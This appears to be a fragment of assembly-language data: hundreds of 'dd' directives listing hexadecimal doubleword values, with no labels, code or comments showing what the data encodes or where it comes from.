dd 0EAAC8D22h, 1CD1C768h, 13A7D63h, 273DE119h, 0E832E897h dd 98C8D16Ah, 962140DCh, 0C0C31277h, 421056CEh, 2EA25C21h dd 70986C20h, 0D335033Ah, 6AD660EEh, 10828DB8h, 155D20C0h dd 2E1C4DF6h, 1F78EE55h, 71CC00ADh, 0A74EB5AAh, 0B1C24B30h dd 0EC36BB3Ah, 48C306A6h, 603F4C98h, 99386A0Ch, 634A5119h dd 0A806313Dh, 0F03E90F1h, 83195AAh, 0C8E518CCh, 3F99AC8h dd 1196A925h dd 0B000E966h, 9FE329CCh, 149A3D53h, 0A05F8B77h, 3F178E11h dd 33CF9424h, 36490398h, 80A93771h, 3914E3EAh, 518048CBh dd 385DC1A5h, 9730AD22h, 0B693797Ah, 247B500Ah, 0BCC2886Ch dd 3B4BC107h, 93F1E760h, 0EC401945h, 0A077CCE8h, 0F8EBA3A7h dd 0B0A05012h, 692230FCh, 0AC56D5F1h, 43472309h, 76000018h dd 4C06266h, 0FC29E281h, 5520803Ch, 4154C5ACh, 9A727DCCh dd 0DE235207h, 0D626C9D8h, 21736008h, 337DD218h, 988F6E00h dd 0E977F3B7h, 56AB20C2h, 0D354B600h, 5599B4BBh, 2C290066h dd 0DDBE91F7h, 0FA00086Ah, 2BDBF9Ah, 0D597F12h, 160797E5h dd 55B980A0h, 398CB39Bh, 0D68CA33Eh, 0C45485B0h, 99EA6075h dd 0EBCC0EF8h, 1CACEF20h, 96143E68h, 232CC333h, 84881CDAh dd 628E2350h, 800E2079h, 163B667Dh, 7E6B8FB1h, 8C52FFBh dd 13CB0955h, 23368C07h, 12A0D91Ah, 4800E188h, 602CA88Eh dd 3C05256Eh, 7E0091A4h, 9959B58Fh, 0D3007A8Dh, 0B42D3BE4h dd 79EE835h, 9D15E374h, 30405FAEh, 1CE00603h, 0FAA7370Bh dd 18498045h, 3AEEDA42h, 7380D69Fh, 0DE36A99Eh, 81014BBFh dd 39B6272Bh, 0DCE04E4Ch, 22E000ECh, 0E89497AEh, 5A3A6152h dd 6AC60078h, 5BA909Bh, 0ABE50775h, 0C0C76C8Dh, 0F2C5320Ah dd 0A90040FAh, 613F461Eh, 7EBF25D2h, 65703Eh, 9ADF06C3h dd 0F38A1EADh, 0DC90A800h, 0AEE76D6Ah, 0C211073Ah, 735A353Dh dd 60A3EA1Ah, 250C8BD0h, 0FB69F001h, 2B18329Ch, 21400898h dd 257FD451h, 4BC65E00h, 0FE1CFBB5h, 0BCEB406Fh, 0F02153Eh dd 3E0E9F1h, 6BF0C7h, 0BA7AEB38h, 0ACE50573h, 0AD9C260Ch dd 0C04E08BCh, 73D22821h, 0CE3B5CFCh, 3D4B80DBh, 0CB1DC2FEh dd 0BA61C139h, 8273C5h, 6FAFFA7h, 0AE4B315Bh, 9F06207Dh dd 3328D899h, 5FC31h, 0CBDBAABh, 5CB47C06h, 213008CCh dd 0AB1A3FF7h, 99FAACh, 0F686896Bh, 1800B8F9h, 1C7758A4h dd 54F06F62h, 0C8EB80E9h, 0D6C0CBD8h, 46E51973h, 1622CCh dd 0B073AE24h, 23EEFFE5h, 3F4B3007h, 61509A6Eh, 18BB826h dd 0AA650DD9h, 0D7B21B32h, 805A3800h, 0CBD52BD6h, 66BC19F3h dd 807B09E3h, 2BC2A021h, 1201FDAh, 0BBD68474h, 824D1E1Dh dd 0CAEF2FB0h, 18908C8Ah, 0CC82520Ah, 0ABCC6E06h, 83001093h dd 8E2F1B20h, 9258B3h, 89AD078Dh, 631C68C4h, 5C8FE51Dh dd 43C71C0h, 0C65655h, 0F26721Bh, 0B8EA4AE1h, 63146600h dd 452F9237h, 714E3E0Dh, 6D5FC90Fh, 6F29781h, 43188164h dd 6EAC3932h, 93F42F0h, 56744BF6h, 54EF3101h, 0DC0EE1F7h dd 79031AB7h, 91446202h, 0CD08301Bh, 0B76A5521h, 34D40A03h dd 0A93AA15Eh, 6DF424F6h, 95850368h, 0F912F2BEh, 2EE3107h dd 58263EF6h, 74F070h, 0CE098961h, 0D712640Bh, 3065C33Ah dd 791731ABh, 0A60E0089h, 67AFCB10h, 37003B68h, 0AB2B3ECCh dd 0C5444AFEh, 0D4845D0h, 9170D4D8h, 6C803968h, 33CE2489h dd 2172678Ch, 0F89B71Ah, 4DBFDD80h, 0E674FC4Ch, 2051196Fh dd 32331AADh, 0EEC103F1h, 0E1967259h, 0AEFC80CFh, 0E01F9380h dd 71405DDAh, 18665F78h, 2BF00E3h, 685EFA1Fh, 8A00C410h dd 0A18D9F2Ch, 736DF8BBh, 0B7B80025h, 0B97A24C5h, 0D6078B47h dd 0D7C1D39Bh, 9403C891h, 15B7E60h, 6089E31Dh, 0E0320559h dd 9701A02Bh, 218BBFCFh, 0C4E4C60Dh, 7EAC0069h, 592E0A6h dd 0A5B00BA9h, 0CA68F70Fh, 85FC806Ah, 7C0790h, 71AC7864h dd 9B77DCF5h, 4F00EA79h, 51BFAB29h, 0EB9B4CFh, 305E4954h dd 0C48EF0C9h, 0F12AD6A0h, 69037031h, 0F9F46163h, 0B2EDF03Ah dd 78F3009Dh, 0FC11E542h, 451EE189h, 0F6189A70h, 6FEC3D18h dd 0C902207Dh, 1880AAB3h, 877C56C0h, 0A1915B00h, 0DBDE3EDCh dd 0F0E831h, 0D01AA6ACh, 0D6B807B4h, 0EDEE8C00h, 0A9C6C15h dd 681E0092h, 7089D113h, 8D01C633h, 977E3EBCh, 144EE3FCh dd 0FF96900h, 6AF26FBh, 0E06C5D21h, 5B9764B9h, 0AE015400h dd 58AFDFFEh, 3A630F5Dh, 0ADA3F49Fh, 94F0CAB7h, 1BFBE0FFh dd 7028071Bh, 4E3554C1h, 7440074h, 0E69895Dh, 751F7CFCh dd 0EB0F029Ch, 0C0340B4Ah, 1C7E7EE0h, 0FF0034A7h, 0F78C8650h dd 0D11E3EF8h, 0CA002056h, 0EAB7696Eh, 44A5BFC6h, 0F6F45780h dd 0A8E79BC7h, 29BAEFE0h, 21E848E3h, 45690604h, 6D1F10FEh dd 5041EC2Eh, 60995D1Eh, 56F0E0D7h, 8FA200F9h, 0F4910D7Bh dd 14004EF3h, 0ACD307Ah, 70E9739h, 0E5C9C220h, 339C80D2h dd 8400E4BCh, 64CEB330h, 520286h, 14316894h, 725FCDD3h dd 28606700h, 0E83C7FA9h, 0BCFF00DDh, 91D42F64h, 0F200EE82h dd 79486F73h, 1FF82A80h, 794BE8Ah, 91B30DBBh, 0E0978CAEh dd 30C02F8Dh, 0BCAF1AF6h, 9E9C0018h, 0A3C87407h, 7100BA41h dd 8B0D67CEh, 43C15A7h, 2EAB32FCh, 0F54C131h, 0FE10E08Dh dd 96A28A03h, 82B48268h, 56A5806Ah, 35F3D0Bh, 5E27B297h dd 0DC8B6071h, 0A4A03BC2h, 0E7EA9A2Ch, 69A22500h, 2019E2D7h dd 0C6E83963h, 4009DD98h, 9708F767h, 3C452E8Eh, 0DB004222h dd 0A7D00FB7h, 0ECED20h, 94B1637Eh, 0FBA11306h, 58F402F2h dd 4A75802Ch, 28D51900h, 0E037C1h, 6EEAC77h, 0BAF78669h dd 30C0F500h, 0AA0529Bh, 428907B0h, 3E5CBE3Ch, 8D0B1B80h dd 1E02E9AFh, 9D8ED199h, 0E8A880E0h, 0A6A026h, 0A7896A5Fh dd 33C31F47h, 21718A7Fh, 0E3514100h, 995E5CD5h, 3C4E0057h dd 0C3C0C8F6h, 37007DC7h, 2294E871h, 0C93FD9h, 74F87C72h dd 0A907F370h, 636A300h, 80CD47C5h, 173300E8h, 9EAF7C61h dd 0EE005884h, 247F5B2Dh, 72482Ch, 0D4A6E397h, 29B28F6Ah dd 458E948h, 818522B1h, 0A7C04A84h, 0E6A44915h, 0DDD30F8Fh dd 0E0C00D96h, 1372DC27h, 7B173F00h, 0AABED12h, 26A4011Bh dd 3C200561h, 0AE0EC466h, 71006CEEh, 18B37499h, 0A8F12EC8h dd 0A5C5D8h, 0A963054Ah, 7208914Ch, 0CBB0D401h, 74A8FF86h dd 6A73E040h, 20F10613h, 602CBE56h, 143A0600h, 0DC9E9930h dd 0CA3500DBh, 0BBAC7651h, 0A4004811h, 96838A47h, 48AA3079h dd 5980000Fh, 1B2AB402h, 0F23BF901h, 1872B37Eh, 0BA814F0h dd 6607E009h, 0A4A97B80h, 1648B133h, 947E81E4h, 0C20DA9Ch dd 5B9900CDh, 6ED4CC90h, 0A60130F4h, 43751154h, 84503F15h dd 16CCD6FAh, 0F837CDD5h, 0D9DC148Bh, 0E61C00D0h, 71300355h dd 731B0044h, 67F2F0C2h, 0B300D621h, 0A125BB3Fh, 0BFFD96h dd 99F179Bh, 0E6163551h, 59D8751Dh, 8382D640h, 146713h dd 26DD94ECh, 0B35E9CC8h, 80EFE539h, 2FBBEB25h, 1EB970B1h dd 4082355Bh, 64638DB7h, 9800C8E3h, 4EC2429h, 88024Fh dd 31251D71h, 32033421h, 0FC013EE8h, 97683D63h, 0FC8E0799h dd 5018F8EDh, 280FE7AFh, 406D67BCh, 11DC530Ch, 0FC2C001Bh dd 30E5AA75h, 3D00CB70h, 0F3920B42h, 7445F6h, 715AA760h dd 0B6B767B9h, 55E94614h, 9F7301B4h, 7CBEBFB5h, 0E4ACE4h dd 3A5BE07Dh, 0A94A0B4Ch, 0C0DDEF00h, 0C57118F7h, 382E76F9h dd 30009C04h, 0DF0874A0h, 8201DA4Ah, 113949F0h, 7FE559DBh dd 15CC3EC1h, 0CF6E0312h, 6AD2C627h, 0C54D86B8h, 0E8106414h dd 99855098h, 19354030h, 4C886C95h, 0B71CD079h, 0F0830037h dd 53BF0199h, 809E6403h, 99C55C20h, 3C343C6Dh, 720A01DDh dd 0C47F66E7h, 0EC4DFCB3h, 9AFDD000h, 8F54A2E2h, 484200AEh dd 6B946009h, 8001BE43h dd 856127ECh, 0ACE8A4B8h, 1024608Dh, 3C7B43DFh, 0A3210A60h dd 7DDA0684h, 42600FBh, 3385670h, 345CBDC5h, 5286028h dd 49CA4E22h, 0FF03BCA4h, 6E369EC5h, 24260A91h, 0BC7E9570h dd 0DEC87500h, 0E7A11A48h, 7E540209h, 9259331Bh, 75F42081h dd 354CF403h, 0E34B7100h, 0DF39A50Fh, 0B37712A9h, 686C0305h dd 0F1C0A32Fh, 7603E37Ah, 186490F0h, 62CEA050h, 332F00FBh dd 0DAC2666Ch, 648B512h, 0ECC02628h, 0CA268180h, 205CB4h dd 5D543188h, 4B8AB180h, 60CBD500h, 0F9B76822h, 335FA37h dd 5892D1F1h, 10517B0Ah, 9F21D804h, 203D1000h, 0FF6395ECh dd 3DF2ECB7h, 4A03F4D1h, 2DF3098Ch, 43C921E0h, 0EB1CCE77h dd 108078E7h, 0AFABE3E9h, 90F7305h, 0B382611Ch, 0E1CB4D01h dd 0CACFC08Eh, 24906213h, 0C888C00h, 796712F8h, 0FEAB026Ah dd 3F27CD8Bh, 0A5C4464h, 0B6640072h, 335CA487h, 86B50202h dd 1675CC45h, 0CF44D4A0h, 5F34B659h, 0A890545Ch, 0B0122313h dd 0CFFE3DE7h, 8D008438h, 0E6E21E01h, 3400734Eh, 3DC1AD1Ah dd 7037C1Fh, 8E0A9D7Eh, 44F9A0A5h, 0C7002A6Dh, 0B7385BB6h dd 908CAF86h, 10CB0E57h, 3B80C580h, 0BEF71A46h, 0F17A3805h dd 49043F3h, 1F021Bh, 568C0C85h, 0EDC1B955h, 24C7CC24h dd 4EA1114h, 0F5797ADh, 351CA081h, 49C34h, 3169D532h, 0B9AADCA0h dd 0C00A290h, 9E57408Fh, 82494Ch, 3A419A16h, 80478A90h dd 5C9B090Ah, 800083Bh, 0EF385F88h, 85463142h, 2077BD31h dd 2630622Dh, 0A8CB717Ch, 0AF6B03E1h, 7710392Eh, 29E62DA1h dd 487F3EC0h, 0D7D00B7h, 3F908AC9h, 53474C34h, 7473E13Ch dd 827A07F6h, 0F4690146h, 23E890B3h, 796F9198h, 4FA28048h dd 0A224328h, 0A678854h, 0E00C0308h, 180C67Fh, 50D8F861h dd 5F44240h, 622A5C5Dh, 6958002Ch, 0C09F1B7Fh, 0CEE49600h dd 90434E71h, 0F4F10074h, 0DA4B3FC9h, 0F0031D59h, 52F55F17h dd 7AA6A8DFh, 9BF20Dh, 0D643DC0Ch, 0E9AEB36Ch, 80D39C3Fh dd 0B2F6F0B7h, 6B6A93h, 5462A3EEh, 0C26CDA84h, 42000AEEh dd 0ACBDA960h, 5CD5404Bh, 64011630h, 0AB559AA8h, 0D85CD524h dd 59006925h, 4CBFE538h, 1CA68AD0h, 8035C217h, 3B61D64Bh dd 6E0E4ABBh, 0BE7E7588h, 1BC0AF9Dh, 0D26654D0h, 0C9640081h dd 0B15C6FF9h, 8A0E1110h, 0E7EC59D9h, 0A3802357h, 0D2C9F5h dd 2B8D9EA8h, 0E09BE8E9h, 6E059CA8h, 4A3F0A00h, 628E58ADh dd 0EC08CCACh, 791F2521h, 3A40D90Ah, 0C962EDFAh, 4A270006h dd 568DA034h, 550A2390h, 0BC4BF12Ch, 0DF37588Fh, 1DEF043h dd 3076EBEAh, 0BF21A408h, 0D51CA03Fh, 3CFE9FDCh, 0C88380D3h dd 0DEBCCB9Eh, 104C0225h, 2D4E7045h, 0E528A0E0h, 0B049A3E6h dd 57620018h, 7132E636h, 0D57C0E8Ch, 7B8C8D21h, 2F004C21h dd 0E01E9336h, 6471FA3h, 0C4760D3Ah, 4500D9FCh, 0D7929CCEh dd 6CF9856h, 39AD837Eh, 0E50F21CAh, 4C3F4B4Ch, 9611EAh dd 1054F0E7h, 69E12E47h, 7808BF6Eh, 16EFAB21h, 0E831F0h dd 6665505Ah, 0D6EE45DFh, 0D0CB7137h, 1A6F8E31h, 0C6496880h dd 0ED57069Fh, 6C4AB20Ah, 0C081A8D4h, 0E5873AFFh, 2905CAF0h dd 3B46B80h, 458838F4h, 828C1000h, 0AF7F9DA8h, 0B5B90767h dd 6097CBC0h, 0DC093DEEh, 48667100h, 80C3829Ah, 0D2F800B3h dd 0E41BE16Ch, 0D8005733h, 17FF732Ch, 0A0E5CCh, 32974127h dd 29826070h, 55DE3D00h, 172DC9ADh, 0DA38004Dh, 47FD1D0Fh dd 0D9001928h, 0D8084B93h, 78499C43h, 62C62CA4h, 0E2BA00FDh dd 94E03147h, 5873201h, 490A0E2Fh, 24BFCCh, 9B660C6Bh dd 0D1A0AC54h, 0FFF7FB00h, 48632B65h, 77A73h, 1B9F0390h dd 15429D0Ah, 383CA618h, 0BA318h, 288B60E2h, 3E3FA9D7h dd 8A402186h, 42DEDA08h, 76118D6Ch, 0D4881850h, 82328929h dd 9BEB8319h, 0D29300C2h, 0B57C63BCh, 9963F6E0h, 0E8EDD108h dd 28B91303h, 0C0CA8A26h, 1BDA0818h, 50CC97AEh, 0FE8581FDh dd 311CA078h, 68D00238h, 1A0A2D26h, 18C3DD43h, 0F3E23BC1h dd 518E7037h, 96826BB7h, 0FD088A85h, 118D830Ch, 0BF750050h dd 97EFB5EEh, 7929DC47h, 0B9009468h, 36E4128Bh, 0E1BCF4D7h dd 7E63A200h, 70A67506h, 3899A8C9h, 0BDBD36C5h, 44026h dd 68B554CDh, 74FA8894h, 7CAE3B3Bh, 0F02C5118h, 7FB926D8h dd 3A14001Fh, 0CA27568h, 4C18A879h, 2D383DC8h, 614360F6h dd 0FE6DB1DDh, 0E0698102h, 6002688Ch, 91943Eh, 23400511h dd 209D9B45h, 15663Ch, 3757D732h, 6F4A21A4h, 79A018ABh dd 49CE24D9h, 0D0038B30h, 790BC8CBh, 3A8D00D3h, 2C82162Ah dd 8700BB97h, 3008796Eh, 20242BD4h, 1C2A3E41h, 9F00E862h dd 60BDB0D3h, 7B296B10h, 0DD371EA0h, 3BED2E3h, 2D631300h dd 7855193Dh, 0D389B07h, 0E293A279h, 0BC00A510h, 2E7D2036h dd 31E81Ah, 8F383476h, 0FA05CD53h, 11C9190Fh, 80D6C08Dh dd 71D42426h, 0D17401A2h, 0F82885CFh, 3477D0E8h, 4B5BC101h dd 3F269D68h, 0FC48BCh, 0BADEDF23h, 2864FB2Dh, 76944D00h dd 0AAA256BBh, 0B9C73E93h, 3F6F3301h, 0C0FDA68Eh, 0D47BC45Ch dd 92B4BE0Eh, 0E474002Bh, 0F2DC54h, 0A83AD716h, 0ED08FB82h dd 99806D00h, 0D18183F3h, 0B92F0094h, 3BDAD76Ah, 0D318A7C1h dd 87A0CEECh, 23313030h, 1BAE7E66h, 2C91AC01h, 0D6F80B4Ah dd 4F91094h, 0AD8F55A0h, 372D10C0h, 60C59757h, 0D66C8629h dd 2F779D40h, 4BA04500h, 0C26509EEh, 0B83372C3h, 0F3FE00E4h dd 0D70F5F9Eh, 0CA7FBBF9h, 2534348h, 0B457B690h, 0C486087h dd 713F03E7h, 0FC6E8C5Fh, 5AB9E390h, 0BB144E00h, 4AE18BA7h dd 849300A2h, 896D6571h, 8D00E358h, 56F7FC9h, 0F2096DBh dd 6CADA3D1h, 74F0D00h, 4638B6A4h, 73C28E93h, 0D6E667A5h dd 3E1D51C0h, 0CF5E004Ch, 6043082Ch, 1E03E4BDh, 2A728331h dd 0A654A035h, 9E441DAEh, 0C11600B4h, 0CE20223Fh, 15BDB90Ch dd 9FCD1126h, 491627F8h, 20004C05h, 812533E3h, 217D0067h dd 0AE9A0B13h, 0D80069AAh, 0E997959Dh, 0FA01E3h, 928D9BA0h dd 0AD850F84h, 34D66500h, 0DB695B57h, 2E28C094h, 0CF08BD3Ah dd 40FC8207h, 0F760D53Ch, 1A528Eh, 0BA375A98h, 4C47693Dh dd 20F05655h, 5005FFAh, 80A00B93h, 0F5DF370h, 0F1A6330Ch dd 0CFC81260h, 2D3CAD69h, 8104C847h, 17412816h, 3CB74560h dd 423BA491h, 0C645B8Eh, 0D8833620h, 0C9006635h, 281C9687h dd 0CFF4B45h, 6F53C220h, 686FBB60h, 20D58F26h, 0B170A03Eh dd 0E4080006h, 589E1939h, 1E009FCCh, 0B253DE7Fh, 3D6D56A1h dd 0CA0742F4h, 475931F5h, 0A8BC40BAh, 913B8B9Bh, 7BBD03D6h dd 800A1D01h, 0EB4B8F3h, 566C3DC4h, 4519DCE0h, 0E900BA91h dd 53EA6123h, 0ABA6DFh, 37AD67CFh, 0F716B01Eh, 1BDDEE1Eh dd 0C1F85198h, 3A2B0011h, 40460F07h, 0E3000B8Bh, 0D302756Ch dd 10421F3h, 7F8731F7h, 403E956Ah, 0CE668808h, 0EE4858h dd 0D9244591h, 501AB50h, 90753D7Dh, 38AC14F2h, 8C074F3Ch dd 60BB19h, 0FC20DF26h, 147061F6h, 5F49EB0Ch, 9A7F0A3h dd 7CB8EE0Ch, 71030000h, 8A07F005h, 41BB175Dh, 7B1DB351h dd 927812E4h, 6FBC008Ch, 98D7650Ch, 1B244B36h, 280E4AFh dd 0E6D0195Dh, 79707Dh, 5CAB8098h, 0BF494328h, 5D2CDCFDh dd 9AC86300h, 2085E034h, 0C6BD0C0Ch, 0F8AEBF95h, 0F38D4D04h dd 0C0AE2F44h dd 67E8D4A2h, 1307AB0Ch, 1EB49A79h, 24F3688Eh, 862500E6h dd 0BFD55B16h, 37610900h, 755C1B6Fh, 0AE90046h, 9F583901h dd 5E1E0DD9h, 1700C85Dh, 0A2941B42h, 0D58F032Ah, 34261215h dd 9C77EBD0h, 0A808200Eh, 0F15643C5h, 57019FDAh, 8AF1968Bh dd 0D0A4E0h, 762312E8h, 0A25AAE1Ch, 0C2289905h, 0C401CB18h dd 826C042Ah, 31A5830h, 0B2B34C55h, 0BDB883D7h, 0FA02F42Fh dd 0BD0CA3Eh, 887EE388h, 7BF71214h, 8B59043Ch, 0C07FE3C3h dd 3F04C9F1h, 6DDBC600h, 6F9CAECEh, 0F160061h, 78EE3C57h dd 0C82CBE94h, 0F8007F88h, 16A3803h, 307E0070h, 183BE277h dd 203F4D6h, 0F7AF34DAh, 0B9B00896h, 0F900F1C9h, 0AA6F4104h dd 71374C7h, 7CDBDA9Eh, 9358C3B3h, 4CC03CFBh, 1F163247h dd 7E07E94Dh, 0A77090B6h, 0A287C61h, 5A9E6CFBh, 0EA5C00ACh dd 2B4906BAh, 76241D75h, 829D14C4h, 0FD86180h, 0A0B00223h dd 7C9C88h, 86700D18h, 0C6F8CA07h, 0B1DBF600h, 2ADACF49h dd 8A053BACh, 328BB8BBh, 3680353Eh, 0BE23816Dh, 67037F7Eh dd 26480A89h, 482940Ch, 75816032h, 27E20064h, 0D34B7905h dd 9800397Dh, 0E57F186h, 0FFB2061h, 0E7C34F9Dh, 0FC495940h dd 0AC0E1450h, 2ECAB99Ah, 25D002ABh, 0F6974123h, 785D3F8h dd 36CB5186h, 38E8B0C6h, 5C0B3A4Ah, 83F1B15Eh, 0A8DA11A5h dd 1277C2E7h, 0F09A18h, 324FBFF4h, 7496D68h, 553C1610h dd 0EF1A5000h, 0B89AE4h, 830DDE95h, 0ADB91CB1h, 0D30080EAh dd 0FFEA45B7h, 1E1A8EA4h, 0ED564ACh, 96806E27h, 884A997Ch dd 639CF700h, 280E3C33h, 0D4C800D0h, 0FF2F75F2h, 92002B4Bh dd 98CCB701h, 908A6BBEh, 0E823008Fh, 894A4DD0h, 0BB4C4707h dd 8501799Dh, 244B680Bh, 0DC357B13h, 0CBBFE4h, 0F7D71A5Ah dd 0D305647Ah, 0D41D3800h, 537791E2h, 7E560381h, 766EE39Bh dd 9A4F1101h, 52776FE0h, 0C11A4820h, 752D1030h, 372034EBh dd 0C19BDF01h, 443B990Ch, 17E3064h, 35F8B4C2h, 83FC6FFAh dd 0ADCB2030h, 4A5AA05Dh, 0C3B47B24h, 474598A0h, 0D3DA390Eh dd 0F3C447D7h, 0BB8B1140h, 4B030771h, 504E9613h, 0D0414D42h dd 0D492B900h, 0A2099718h, 0C4A1009Ch, 629E57ADh, 0A9018096h dd 0FBE5E467h, 4C413A98h, 3C46D574h, 0C02F6091h, 913BA9D2h dd 0A30F78EEh, 0B65228h, 3EA8D1F6h, 0A9A502B3h, 1074A620h dd 44395CA2h, 2E01F311h, 0C0E4D0BDh, 742888AEh, 220E1C1Ah dd 92A583h, 1BC50F2Eh, 0F3A12CA2h, 0FF0D003Fh, 88A74047h dd 36B52900h, 6BA3C106h, 3AB600BBh, 1DCF0FFDh, 0CC07B1BEh dd 0E95D08CAh, 3B8F9240h, 4B5100EEh, 79689319h, 2200B359h dd 47A08876h, 0EAEF9A2h, 8329BF3Ah, 0A7D2F2C0h, 2C3FADF3h dd 9E8E3FFAh, 1A40CD56h, 48094E9h, 2687B9Bh, 7FF23274h dd 8530C1Eh, 0E05F04C8h, 0AFBF8DBCh, 923397F8h, 0C883D062h dd 0A04437h, 0EBCE750h, 921F335Eh, 97470C0Fh, 0D12240EFh dd 0C8307B80h, 0BB80FB29h, 0A4F78D58h, 38F1009Ch, 12A79BE3h dd 0B800BF54h, 0ACA35915h, 17B729h, 0C9605D8Eh, 0C261894Bh dd 347BD80Bh, 0D714A00Dh, 2CA1FBFEh, 591898h, 315BDB74h dd 601C40D6h, 9940F52Bh, 0B977AE8Dh, 765D42h, 0D9046200h dd 0BAB68046h, 0D5FEE050h, 1F055D1Fh, 2CDF3107h, 48720690h dd 0FBE300E8h, 0E205623h, 0B7008D04h, 579ADA0Ah, 92BF37Fh dd 0B6472CE1h, 72480200h, 4478F41Dh, 6D64011Ch, 2D176281h dd 0C6ECF145h, 834100B7h, 0F9CE886Eh, 0A49A7A40h, 94F0AC1Fh dd 0BD2F1F00h, 712D3583h, 0AF2A0032h, 6CD2E7BAh, 5C0F6B9Ah dd 4504BC57h, 0B0C03F8Eh, 0F88A945h, 0E447087Ah, 0CAE3B63h dd 43BF5BF1h, 0D39F798Bh, 0B1D8DD78h, 0EA038136h, 0C5C8C7A8h dd 9B2900B8h, 0C1CC542Bh, 0B70014C3h, 0A81791DEh, 0C0885F5Ch dd 90432230h, 6139E699h, 2B36801Fh, 0B072600Dh, 8CF30085h dd 0BDC2CF06h, 0A6A0EAD0h, 0B40E355Fh, 271EC879h, 0D3D0E3E7h dd 8BA0FAh, 5DCA8601h, 3F70AFA4h, 52616400h, 1C509193h dd 0F3980094h, 65F1A660h, 0E600ACD4h, 2FCAD24Ch, 0A36381h dd 0E5234124h, 72BB5636h, 5A0BBCB8h, 0EE4A548h, 20B4E99Fh dd 1A1D9660h, 5190045h, 9C57D86Bh, 9039A636h, 0B51B0270h dd 40877743h, 72D070Ch, 6EB68E56h, 10935739h, 0AF11F384h dd 0AACA2600h, 452B0AF7h, 89E0B5h, 30964B3Ah, 4727CC32h dd 19C5749h, 0C3A26104h, 24506FE9h, 0D5B153h, 0DDC6D7F0h dd 0E1C4CF1Fh, 94561EE2h, 0AE3F1C38h, 6341DB80h, 736066BCh dd 4CB800B7h, 0C6BD06FBh, 3400918Dh, 0EAA3C31h, 1B46F3h dd 9C124C2Ch, 97C940C1h, 0F691D800h, 0E3BBBA20h, 5040FD6h dd 0E2E0877Ch, 0EBFD51Dh, 26F9D703h, 8BA99EB6h, 56A1F865h dd 0CC230528h, 0C0A3A801h, 480810A0h, 0FEC58F0Eh, 23214FDEh dd 241935F0h, 95C8AF0h, 0B02AB24Bh, 0F76D005Ch, 0C76F20EAh dd 0ECACCC00h, 50ADB28h, 4D1330A7h, 0E959228h, 3515B8B8h dd 78085D9h, 80B79F45h, 2B89A5D0h, 0C89470h, 0E1F6C9EAh dd 0FA00B29Eh, 7C6C41E8h, 491CFFA7h, 18008CCh, 2A12CF97h dd 2E1247EEh, 4CC760D9h, 0E95A4123h, 64F03720h, 0C0CFE90Dh dd 5010268Ch, 1C9EDCCBh, 145A3519h, 6C249BA5h, 38150044h dd 0FB825BE0h, 6F905960h, 0A0246A41h, 393CE0h, 0B2C1971Fh dd 105E86E2h, 0A0702760h, 9BDA791h, 0CF65B176h, 2C8B1404h dd 703E3E1Fh, 0B1BE83B9h, 0C7C13003h, 0BCAB5CC2h, 93EEE0C8h dd 75C33202h, 4CC80927h, 79289010h, 52D727CCh, 3DE81800h dd 1800A293h, 7E73153Eh, 43FDCE7h, 0D9D4B501h, 605CE130h dd 28FABAFBh, 54033C00h, 2C0BBC77h, 9EB81D78h, 0A937C1B4h dd 261EC0E3h, 0E94E00CCh, 0A5546AEDh, 3D6F00C8h, 0EFE49C5Eh dd 832E928Ah, 7C03A6A0h, 0B8104EC1h, 0DB6D3Bh, 0A38CA94Ch dd 2D5D864Dh, 7BF57216h, 0E8B1F84Ah, 0BC60AA45h, 0DAAF56h dd 0BC255CD7h, 32413F60h, 9D3DE007h, 81CB774Ah, 93E80BF4h dd 150A1827h, 958854F1h, 3C00D826h, 0B568CBC4h, 0B0942B14h dd 4000CF3Fh, 0DD4587B3h, 6CA51211h, 47C44557h, 4CD8395Fh dd 7B2A2378h, 0EC14A83Ch, 1C858B9h, 9AEFE2C9h, 7824E3FDh dd 60AA3B52h, 0D2238381h, 2064908Dh, 0B724F388h, 5A071985h dd 0ABF39617h, 51501Eh, 4F34911h, 27324000h, 0E1844131h dd 0B7EE4492h, 452B024h, 0A033A50Bh, 0C51C4A38h, 0B68C0186h dd 4F14A318h, 262FE870h, 5C389267h, 6102CFD0h, 4010DEB7h dd 0E8552C1h, 430757A1h, 2F0167CDh, 868C6D70h, 5F11064Ch dd 0F91C6489h, 79A6D101h, 38AC5D2Ah, 32E3D60h, 16930191h dd 42E848D9h, 2215D54Dh, 2C4B1B8h, 3C8836EDh, 422448FCh dd 9EC100D5h, 3058B027h, 20134B92h, 0E045B98Ch, 0C880764h dd 84F254F6h, 71940434h, 9183354Bh, 707C2B14h, 0EA011EF2h dd 0A29A8C9Dh, 5ADCD9FAh, 901A7C92h, 0B28D00C8h, 5F7A5F1h dd 0D901E472h, 0FCC2F1Dh, 0BACC946Fh, 7778C0AFh, 0A65C6CB6h dd 0D9203205h, 0BD80B2B4h, 5499D23Ch, 0A6D80A3h, 0AD1C747Ah dd 0D3F209DCh, 0BCE0F009h, 66F88A43h, 0E3146900h, 10CE9979h dd 0E4181309h, 0B24CD47Ch, 49E21DB0h, 7D8114A4h, 74CC76Ah dd 9AD80ADCh, 9BF9008Ch, 682A9CB8h, 801B4FDh, 1AD9AAB0h dd 51BE9672h, 1009230Ch, 0AA00BD49h, 0FCC167E6h, 5DB4C5h dd 38884AAEh, 14D37001h dd 9928D700h, 1ABB1F5Ch, 0A2B705BDh, 80F2AB9Fh, 0EEED6028h dd 6EA3B900h, 67E4F543h, 9B330089h, 0A0884EFDh, 0EB00BF0Eh dd 668B7FB0h, 70E0C479h, 6CC801D2h, 0C92A043Ch, 0F0A5C952h dd 0BA7D17E9h, 83AB8938h, 3CBD8791h, 7F9EF0BCh, 130EF664h dd 4568D45Dh, 0A216EF08h, 60DA84B8h, 0E96EA900h, 0C31F5674h dd 4943186Fh, 0C858D2E4h, 7FDD336Ch, 2178C0h, 452C3603h dd 0F4DA95D4h, 0D8C92D00h, 526E63F2h, 73510777h, 47D942CAh dd 0CF45D0E0h, 0BE6FE146h, 0DE8D0068h, 0D72D53h, 31FB4A9Fh dd 0DBFFF373h, 6D93B40Bh, 120C6455h, 492DDEEDh, 4C805DB0h dd 0F2680CD9h, 0AC071B01h, 0DB3DBD35h, 5900C60h, 94D5D6B0h dd 854C0F0h, 120F0D65h, 0A09ACD88h, 0B284F214h, 2154608Eh dd 44755FAAh, 0FF2C1F24h, 0C5502Fh, 95C891F3h, 9C6E42DCh dd 0DF77C5E4h, 24BC4900h, 3A3EAA2Fh, 9D670030h, 73D41D56h dd 81000BF8h, 0B385D06Dh, 64FF69h, 839F3114h, 0CCF97F51h dd 0F1E70D00h, 1D4E282Fh, 24020510h, 40356744h, 7F7678D0h dd 2D12A1E6h, 0CC00400Ah, 0AE8E58E8h, 0B51F09DBh, 